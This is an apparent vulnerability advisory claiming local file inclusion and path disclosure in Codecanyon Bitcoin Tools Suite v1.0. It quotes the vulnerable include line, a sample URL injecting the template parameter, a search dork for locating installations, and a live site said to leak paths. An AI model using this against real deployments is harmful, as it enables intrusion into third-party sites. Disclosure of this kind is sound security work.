=======================================================================================================
| # Title : Codecanyon Bitcoin Tools Suite v1.0 Multi Vulnerability |
| # Author : indoushka |
| # email : indoushka4ever@gmail.com |
| # Tested on : windows 10 Français V.(Pro) |
| # Version : 1.0 |
| # Vendor : http://nitrogfx.com/74316-codecanyon-bitcoin-tools-suite-v10-50-features-20003097.html |
| # Dork : "Powerful bitcoin and cryptocurrency tools & tickers." |
========================================================================================================
poc :
LFI :
index.php
line 4 : require_once('includes/templates/' . $website['template'] . '/header.php');
http://localhost/btcon/index.php?website['template'] =evil
path disclosure :
https://bitcoinwebtools.com/tools/
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================